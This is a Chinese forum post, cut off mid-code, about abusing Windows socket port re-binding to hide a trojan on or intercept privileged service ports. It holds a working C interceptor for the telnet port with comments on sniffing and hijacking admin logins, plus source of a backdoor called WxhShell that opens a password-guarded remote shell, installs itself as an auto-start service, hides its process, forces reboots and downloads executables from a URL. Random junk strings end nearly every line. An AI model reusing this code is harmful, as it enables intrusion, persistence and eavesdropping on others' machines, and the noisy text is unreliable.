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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~Gj%z+<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WV&grG|  
pNNvg,hS8  
  saddr.sin_family = AF_INET; ))xP]Muv  
7x''V5*j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FzzV%  
gp(: o$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f&2f8@  
eqQ=HT7J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *=b36M   
|aX1PC)o_  
  这意味着什么?意味着可以进行如下的攻击: WNO!6*+  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D!WyT`T  
mmvo >F"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a,ZmDkzuv  
;) XB'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hs`j6yuc9  
/'QfLW>6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MO%kUq|pg  
231,v,X[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vp4NH]fJ  
^~DDl$NH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #`o]{UfW  
5H79-QLd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = P@j*ix  
|y$8!*S~(  
  #include xcM*D3  
  #include OzA'd\|  
  #include R>;m6Rb_  
  #include    AD>X'J u8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zI{~;`tzN  
  int main() vE{L`,\ q  
  { PC)aVr?@@  
  WORD wVersionRequested; c`O(||UZT  
  DWORD ret; (T|q]29  
  WSADATA wsaData; COc t d  
  BOOL val; GyQ9we~  
  SOCKADDR_IN saddr; ~5]%+G  
  SOCKADDR_IN scaddr; <,+nS%a  
  int err; &xLCq&j 1  
  SOCKET s;  Op5S'  
  SOCKET sc; ?2nF1>1  
  int caddsize; LQz6op}R  
  HANDLE mt; fWs@ZCt  
  DWORD tid;   kK~,? l  
  wVersionRequested = MAKEWORD( 2, 2 ); <5E: ,<  
  err = WSAStartup( wVersionRequested, &wsaData ); .C\##   
  if ( err != 0 ) { cH48)  
  printf("error!WSAStartup failed!\n"); b]6@ O8  
  return -1; \(`8ng]vs  
  } L+D9ZE]  
  saddr.sin_family = AF_INET; 3L^]J}|  
   @/W~lJ!e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C @nA*  
I%M"I0FV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GV0-"9uwX~  
  saddr.sin_port = htons(23); DIBoIWSuR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AlA:MO]NM  
  { f)19sjAJk  
  printf("error!socket failed!\n"); ~A@HW!*Z@  
  return -1; ),(HCzK`  
  } m <'&`B;  
  val = TRUE; <`?V:};Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qAW?\*n5N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TD-o-*mO  
  { v}sk %f  
  printf("error!setsockopt failed!\n"); svvl`|n%  
  return -1; M2!2 J  
  } y8j6ttQv=t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RdqB^>X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qV5l v-p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hxZL/_n'  
0s!';g Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) de_%#k1:L  
  { O)$Pvll  
  ret=GetLastError(); tA8O( 9OV  
  printf("error!bind failed!\n"); Xe2Zf  
  return -1; *!^l ZpF  
  } enT[#f[{  
  listen(s,2); b'%)?{E  
  while(1) I7XJPc4}   
  { ?egZkg=U  
  caddsize = sizeof(scaddr); ZxB7H{  
  //接受连接请求 "'74GY8,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '!<gPAVTzV  
  if(sc!=INVALID_SOCKET) jSMxba]  
  { 8(>2+#exw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2 9#jKh  
  if(mt==NULL) N?2C*|%f  
  { u'; 9zk/$  
  printf("Thread Creat Failed!\n"); ./35_Vy/O  
  break; 5tl( $j  
  } =K <`nF0 w  
  } F%IvgXt5  
  CloseHandle(mt); fj97_Q=  
  } 1) Nj.#)  
  closesocket(s); #QNa| f#=  
  WSACleanup(); y.$Ae1a=  
  return 0; 8/k"A-m  
  }   t76B0L{  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^X;p8uBo  
  { 6aKfcvf &  
  SOCKET ss = (SOCKET)lpParam; nc^DFP  
  SOCKET sc; +_1sFH`  
  unsigned char buf[4096]; weH3\@  
  SOCKADDR_IN saddr; UDW_?SHAx  
  long num; g#:P cl  
  DWORD val; s#H_ QOE  
  DWORD ret; N6HeZB" :  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l[<U UEjZJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H/y,}z  
  saddr.sin_family = AF_INET; y96HTQ32  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \Oxyc}&  
  saddr.sin_port = htons(23); g'AxJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8"}8Nrb0  
  { 8.:WMH`  
  printf("error!socket failed!\n"); GfV#^qi  
  return -1; &grqRt  
  } a}Z+"D  
  val = 100;  ]0XlI;ah  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VWc)AfKe  
  { Bo$dIn2_  
  ret = GetLastError(); rK\9#[?x  
  return -1; F+ %l= fs  
  } :DrF)1C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C55Av%-=  
  { tl; b~k  
  ret = GetLastError(); 20# V?hX3  
  return -1; l5#SOo\  
  } =!\Y;rk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d ehK#8  
  { Xe&p.v  
  printf("error!socket connect failed!\n"); qKrxln/T  
  closesocket(sc); EbG&[v  
  closesocket(ss); Y/sZPG}4  
  return -1; 5z&>NI  
  } {1gT{2/~@  
  while(1) ^J;rW3#N8  
  {  C TKeY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^YJ%^P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U;j\FE^+>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~+C)0Yn  
  num = recv(ss,buf,4096,0); XZ@ |(_Z  
  if(num>0) *M/ :W =,t  
  send(sc,buf,num,0); &?$mS'P  
  else if(num==0) )<lQJ#L86a  
  break; bct8~dY  
  num = recv(sc,buf,4096,0); ,m8mh)K?0>  
  if(num>0) (vp#?-i  
  send(ss,buf,num,0); /+1(,S  
  else if(num==0) p|?FA@ 3  
  break; 0Py*%}r1  
  } w+wtr[;wwL  
  closesocket(ss); d<6m_! L  
  closesocket(sc); CXi[$nF3  
  return 0 ;  md,KRE  
  } A$i^/hJs  
q[GD K^-g  
lQd7p+ 21  
========================================================== T.jCF~%7F  
}|%1LL^pB  
下边附上一个代码,,WXhSHELL 6bPl(.(3  
0U~*uDU  
========================================================== Mi;Pv*  
o{hX?,4i  
#include "stdafx.h" B$n1 k 45  
SgYMPBh  
#include <stdio.h> U(LLIyZv  
#include <string.h> +~~2OUL  
#include <windows.h> 0HUylnXf0  
#include <winsock2.h> yO}5.  
#include <winsvc.h> lu8*+.V  
#include <urlmon.h> 3=yfbO<-  
A$]s{`  
#pragma comment (lib, "Ws2_32.lib") k?$I4&|5Nt  
#pragma comment (lib, "urlmon.lib") Cv}^]_`Q  
NWP!V@WG  
#define MAX_USER   100 // 最大客户端连接数 }=}wLm#&1  
#define BUF_SOCK   200 // sock buffer |-;VnC&UY  
#define KEY_BUFF   255 // 输入 buffer <uxLG;R  
On54!m  
#define REBOOT     0   // 重启 2v2XU\u{t  
#define SHUTDOWN   1   // 关机 P8Wv&5A  
Bhv$   
#define DEF_PORT   5000 // 监听端口 XT4Gz|k  
VZq~ -$  
#define REG_LEN     16   // 注册表键长度 S8Y\@C?5  
#define SVC_LEN     80   // NT服务名长度 -i1 f ]Bd  
J!2j]?D/e  
// 从dll定义API :.r_4$F:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I~ :gi@OVV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u88wSe<\X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !?v_.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !LzA  
!sSq4K  
// wxhshell配置信息 Mc <u?H  
struct WSCFG { & +*OV:[;  
  int ws_port;         // 监听端口 X^Z!!KTH  
  char ws_passstr[REG_LEN]; // 口令 ![ sXR  
  int ws_autoins;       // 安装标记, 1=yes 0=no wYg!H>5  
  char ws_regname[REG_LEN]; // 注册表键名 L SP p  
  char ws_svcname[REG_LEN]; // 服务名 '&'m# H*:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9}u,`&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xjkg7p,HD@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DY9]$h*y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IvT><8<G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +[<YE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AYgXqmH~+  
fCwE1r*^  
}; DU0/if9.  
.] sJl  
// default Wxhshell configuration ^lAM /  
struct WSCFG wscfg={DEF_PORT, 8;V9%h`P>  
    "xuhuanlingzhe", tq}45{FH3  
    1, 5nUJ9sqA  
    "Wxhshell", pF4Z4?W  
    "Wxhshell", =E5bM_P<K  
            "WxhShell Service", __2<v?\  
    "Wrsky Windows CmdShell Service", ==&  y9e  
    "Please Input Your Password: ", 2ozh!8aL  
  1, %IX)+ Lp`  
  "http://www.wrsky.com/wxhshell.exe", jx]P:]  
  "Wxhshell.exe" W*t] d  
    }; BMy3tyO  
@phVfP"M  
// 消息定义模块 +.Ij%S[Px5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ])o{!}QUl\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; % /"n(?$ W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aeb(b+=  
char *msg_ws_ext="\n\rExit."; XzHR^^;u"*  
char *msg_ws_end="\n\rQuit."; #3QPcoxa  
char *msg_ws_boot="\n\rReboot..."; qD4]7"9  
char *msg_ws_poff="\n\rShutdown..."; Fq@o_bI  
char *msg_ws_down="\n\rSave to "; B*,)@h  
lI 4tW=  
char *msg_ws_err="\n\rErr!"; $[A\i<#  
char *msg_ws_ok="\n\rOK!"; tqZ+2c<W3  
NS~;{d \  
char ExeFile[MAX_PATH]; DK\XC%~m  
int nUser = 0; \xj;{xc  
HANDLE handles[MAX_USER]; +yp:douERi  
int OsIsNt; :-B+W9'5  
d=PX}o^  
SERVICE_STATUS       serviceStatus; N+=|WeZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 80Dn!9j*  
RqtBz3v  
// 函数声明 a:fP  
int Install(void); U}RBgPX!  
int Uninstall(void); UowvkVa  
int DownloadFile(char *sURL, SOCKET wsh); y %Q. (  
int Boot(int flag); #cu{AdK  
void HideProc(void); _cX}!d!j  
int GetOsVer(void); `8ac;b  
int Wxhshell(SOCKET wsl); s*ZE`/SM3  
void TalkWithClient(void *cs); } #rTUX  
int CmdShell(SOCKET sock); Q$c6l[(g  
int StartFromService(void); )1uiY f&k  
int StartWxhshell(LPSTR lpCmdLine); e@Lxduq  
FfdB%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6 Rl[M+Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [OW <<6  
Do/R.Mgy*  
// 数据结构和表定义 YV<y-,Io  
SERVICE_TABLE_ENTRY DispatchTable[] = |oi+|r  
{ #wI}93E  
{wscfg.ws_svcname, NTServiceMain}, ?T/]w-q>  
{NULL, NULL} YQn<CjZ8af  
}; "XR=P> xk  
#;]#NqFX  
// 自我安装 STp9Gh-  
int Install(void) RpQeQM=  
{ vR!+ 8sy$  
  char svExeFile[MAX_PATH]; QQM:[1;RT  
  HKEY key; ,~1'L6Ri?  
  strcpy(svExeFile,ExeFile); )*~A|[  
1f`De`zXzr  
// 如果是win9x系统,修改注册表设为自启动 v;x0=I&%  
if(!OsIsNt) { m2c'r3UEu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @- STo/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qq/>E*~  
  RegCloseKey(key); d:@+dS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <+_XGOt0<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >R+-mP!nj  
  RegCloseKey(key); X zJ#)}f  
  return 0; wq$$. .E  
    } tk&AZb,sP  
  } \Ii{sn9  
} n#lbfN 4  
else { 9D T<  
%MeAa?G-#  
// 如果是NT以上系统,安装为系统服务 jE\ G_>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Alxf;[s  
if (schSCManager!=0) BNfj0e5b  
{ )`DVPudiy  
  SC_HANDLE schService = CreateService HwUaaK   
  ( ?woL17Gt  
  schSCManager, wa"0`a:`;  
  wscfg.ws_svcname, rwRZGd *p  
  wscfg.ws_svcdisp, L  ;L:  
  SERVICE_ALL_ACCESS, c/|{yp$Ga>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *;fTiL  
  SERVICE_AUTO_START, IT| h;NUG  
  SERVICE_ERROR_NORMAL, L4>14D\  
  svExeFile, q)?%END  
  NULL, ?UtKu  
  NULL, A2|Bbqd  
  NULL, KD kGQh#9  
  NULL, V<QpC5  
  NULL ~}.C*;J  
  ); x?Abk  
  if (schService!=0) y, l[v39  
  { |_;kQ(,  
  CloseServiceHandle(schService); >Xn,jMUW  
  CloseServiceHandle(schSCManager); D+]mKPB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kE&R;T`Gb%  
  strcat(svExeFile,wscfg.ws_svcname); <= 4$.2ym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1bFZyD"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \p4*Q}t  
  RegCloseKey(key); .]v>LsbhF  
  return 0; dn(!wC]  
    } Kxsd@^E  
  } yu;EL>G_AY  
  CloseServiceHandle(schSCManager); [V'c  
} s41%A2Enh  
} <Wn~s=  
+ -<8^y  
return 1; [vi =^  
} '12m4quO  
qs]W2{-4~  
// 自我卸载 y\FQt];z)  
int Uninstall(void) :'[?/<iTg  
{ [k7( t|Q{  
  HKEY key; J67 thTGFq  
F*k =JL  
if(!OsIsNt) { /TMVPnvz.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F5*-HR  
  RegDeleteValue(key,wscfg.ws_regname); | .jWz.c  
  RegCloseKey(key); bpY*;o$~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V IzIl\<aM  
  RegDeleteValue(key,wscfg.ws_regname); C*YQ{Mz(f  
  RegCloseKey(key); T"g_a|7Tj  
  return 0; [<@L`ki  
  } V^s, 3C  
} $_<[kci %  
} .x=abA$!9  
else { &lzY"Y*hA0  
[G_ ;78  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4e#g{,  
if (schSCManager!=0) G#7*O`  
{ $O|Xq7dp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #un'?]tZF  
  if (schService!=0) &* VhtT?=5  
  { v[$e{Dz(  
  if(DeleteService(schService)!=0) { -RP{viG WK  
  CloseServiceHandle(schService); D[>:az `  
  CloseServiceHandle(schSCManager); =v3o)lU  
  return 0;  !XTzsN  
  } #VhdYDbW  
  CloseServiceHandle(schService); y;az&T  
  } q,[;AHb  
  CloseServiceHandle(schSCManager); }R* %q  
} l"J#Pvi  
} JAxzXAsAR  
Mc?_2<u-  
return 1; 3Dr\ O_`u  
} 3cJ'tRsp<  
#?Ix6 {R  
// 从指定url下载文件 t ]BG)]  
int DownloadFile(char *sURL, SOCKET wsh)  nS]e  
{ ub?dfS9$_  
  HRESULT hr;  KcT(/!  
char seps[]= "/"; -o/Vp>_UOE  
char *token; :a8Sy("  
char *file; *$cx7yJ  
char myURL[MAX_PATH]; %R5- 6  
char myFILE[MAX_PATH]; e/4C` J-  
`C4(C4u  
strcpy(myURL,sURL); >:.c?{%g*  
  token=strtok(myURL,seps); ^2 dQVV.  
  while(token!=NULL) x}ZXeqt{ {  
  { zW`Hqt;  
    file=token; ?<J~SF Tt  
  token=strtok(NULL,seps); 1 Ne;U/  
  } kiF}+,z"  
",~ZO<P  
GetCurrentDirectory(MAX_PATH,myFILE); $bhI2%_`M  
strcat(myFILE, "\\"); 2H;#L`Z*  
strcat(myFILE, file); Lq3<&$  
  send(wsh,myFILE,strlen(myFILE),0); y_: {p5u  
send(wsh,"...",3,0); tO&n$$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "y8W5R5kL4  
  if(hr==S_OK) TTO8tT3[6}  
return 0; CL7_3^2qI  
else \6AM?}v  
return 1; rX^uHq8  
N(i.E5&9  
} C#[P<=v  
vAP1PQX;  
// 系统电源模块 b|V <Kp  
int Boot(int flag) &am<_Tn*3  
{ +/_XSo  
  HANDLE hToken; 1TEKq#t;y  
  TOKEN_PRIVILEGES tkp; l>|scs;TI  
y=Eb->a){  
  if(OsIsNt) { sC"w{_D@*4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6# bTlmcg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xsU%?"r  
    tkp.PrivilegeCount = 1; (e;/Smol  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -V2f.QE%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zjH8 S  
if(flag==REBOOT) { D_( NLC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d v4~CW%Td  
  return 0; g\B ? |%  
} E 6#/@C,  
else { mdbi@ms@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BJ_"FG  
  return 0; jcC"vr'u|  
} )M8,Tv*~  
  }  zv"NbN  
  else { aY4v'[  
if(flag==REBOOT) { X#by Dg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |"}7)[BW}  
  return 0; 8@doKOA~T  
} I@qGDKz;  
else { jp "Q[gR##  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M:.+^.h  
  return 0; ]*MVC/R,  
} %O!x rA{  
} F7<u1R x]  
bp" @ p:  
return 1; 'PrBa[%  
} GfSD% "  
h}tC +_"D  
// win9x进程隐藏模块 {ZdF6~+H(!  
void HideProc(void) WNeBthq6  
{ *oLDy1<  
G'Wp)W;])\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -k:x e:$  
  if ( hKernel != NULL ) ,yp#!gE~  
  { @8w[Zo~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EhKG"Lb+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #Mk3cp^Yl  
    FreeLibrary(hKernel); E>/~:  
  } 5MYdLAjV  
'cu14m_  
return; oP T)vN?  
} ?x 0gI   
$v_&j E  
// 获取操作系统版本 n2_;:=  
int GetOsVer(void) Ttl m&d+C  
{ |bQF.n_  
  OSVERSIONINFO winfo; a~R.">>$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q(Yn8t  
  GetVersionEx(&winfo); cDYO Ju.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Ar,HaX-  
  return 1; RnC+]J+?4  
  else V^!^wLLi  
  return 0; [jCYj0Qf8  
} ;K7kBp\d  
a;Pn.@NVq  
// 客户端句柄模块 '.N}oL<gP  
int Wxhshell(SOCKET wsl) CY.92I@S  
{ LN.*gG l  
  SOCKET wsh; \N-3JOVy  
  struct sockaddr_in client; F+NX [  
  DWORD myID; U8gj\G\`  
3mopTzs)  
  while(nUser<MAX_USER) R'vNJDFY  
{ !?).4yr  
  int nSize=sizeof(client); [+l6x1Am  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >hSu1s:  
  if(wsh==INVALID_SOCKET) return 1; RX_f[  
~xDu2 -5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !/a6;:_y  
if(handles[nUser]==0) 9Nna-}e?W  
  closesocket(wsh); uzmYkBv  
else d@$bPQQ$,  
  nUser++; m<k6oev$  
  } )FG/   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b>i5r$S8G  
S[hyN7sI  
  return 0; O#):*II`9  
} yJ ]Va $M  
x![.C,O  
// 关闭 socket {jwLVKT$  
void CloseIt(SOCKET wsh) x)N QRd  
{ VR1[-OE  
closesocket(wsh); z6;hFcO  
nUser--; oC} u  
ExitThread(0); q7_Ttjn-DV  
} /s+IstW  
O&y`:#  
// 客户端请求句柄 lIx./Nf  
void TalkWithClient(void *cs) oclU)f.,  
{ SO STtuT  
Ahba1\,N$  
  SOCKET wsh=(SOCKET)cs; bWlY Q  
  char pwd[SVC_LEN]; _!vy|,w@e  
  char cmd[KEY_BUFF]; =-r); d  
char chr[1]; y3j"vKG  
int i,j; d-m.aP)y:  
ux!YVvTPd  
  while (nUser < MAX_USER) { JKrS;J^97v  
~b X~_\  
if(wscfg.ws_passstr) { .}Xf<G&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yH43Yo#Rk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @TXLg2  
  //ZeroMemory(pwd,KEY_BUFF); Ac*J;fI  
      i=0; I S'Uuuz7g  
  while(i<SVC_LEN) { Ol h{<~Fv  
'|yCDBu  
  // 设置超时 @-xvdntx  
  fd_set FdRead; AOKC1iD%Y  
  struct timeval TimeOut; FIVC~LDd  
  FD_ZERO(&FdRead); k.c.7%|~;  
  FD_SET(wsh,&FdRead); 1ZRkVHiz0  
  TimeOut.tv_sec=8; q &{<HcP  
  TimeOut.tv_usec=0; X's<+hK&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #pK" ^O*!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S-Bx`e9'  
i'>5vU0?3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %yjD<2J;  
  pwd=chr[0]; v[8+fd)}S  
  if(chr[0]==0xd || chr[0]==0xa) { T2.[iD!A  
  pwd=0; ITn PF{N  
  break; 3Z me?o*bY  
  } f{[0;qDJ  
  i++; liLhvcd  
    } y:Of~ ]9@  
FINHO058^Y  
  // 如果是非法用户,关闭 socket PXJ7Ek*/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Suo$wZ7J  
} }P{Wk7#Jq  
<Q- m &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;y1/b(t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yf8kBT:&S  
1(:!6PY  
while(1) { <;~u@^>  
rcMf1\  
  ZeroMemory(cmd,KEY_BUFF); y@LiUe5  
esx/{j;<u  
      // 自动支持客户端 telnet标准   xh9$ZavB*  
  j=0; >zL5*:G  
  while(j<KEY_BUFF) { m_Q&zp["  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _!, J iOI  
  cmd[j]=chr[0]; <Up ?w/9  
  if(chr[0]==0xa || chr[0]==0xd) { kmt1vV.9  
  cmd[j]=0; bJD$!*r\%!  
  break; ysp`(n=  
  } ey4.Hj#T  
  j++; NIbK3`1  
    } w7Y@wa!  
2=0HQXXrq  
  // 下载文件 8=joVbs  
  if(strstr(cmd,"http://")) { udLIAV*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6j6;lNUc  
  if(DownloadFile(cmd,wsh)) fxr#T'i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N/%%O.b  
  else \#B<'J9.`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQ2j ejd3(  
  } r@Jy*2[-Jq  
  else { Yb/*2iWX  
9`Fw}yAt  
    switch(cmd[0]) { s<k2vbhI  
  vPz7*w  
  // 帮助 x(eX.>o\  
  case '?': { ^IIy>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r-.@MbBm  
    break; h"0)spF"d  
  } u5glKE  
  // 安装 h ! R=t  
  case 'i': { ArNQ}F/  
    if(Install()) "2sk1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8#j|yf  
    else T>L?\-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lG94^|U  
    break; A( vdlj  
    } YE{t?Y\5  
  // 卸载 *`Vmncv3  
  case 'r': { `V\?YS}  
    if(Uninstall()) }$L63;/H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (4A'$O2  
    else * zyik[o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )hj:Xpj9#  
    break; E BBd  
    } 4m1r@ $  
  // 显示 wxhshell 所在路径 KAFR.h:p9  
  case 'p': { bSX/)')jU  
    char svExeFile[MAX_PATH]; m Jk\$/Kh  
    strcpy(svExeFile,"\n\r"); )(-;H|]?  
      strcat(svExeFile,ExeFile); gC/ e]7FNr  
        send(wsh,svExeFile,strlen(svExeFile),0); Uza '%R  
    break; :Z6j5V;s  
    } TSsZzsdr2  
  // 重启 %KT}Map  
  case 'b': { c:9n8skE7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dpw*m.f  
    if(Boot(REBOOT)) c AEvv[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^rR}Ws  
    else { :\His{%  
    closesocket(wsh); %'HDP3  
    ExitThread(0); I_u/  
    } N6}/TbfAR  
    break; jj2\;b:a0  
    } ;' uQBx}  
  // 关机 %sr- xE  
  case 'd': { y3s+.5;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RE%f'y  
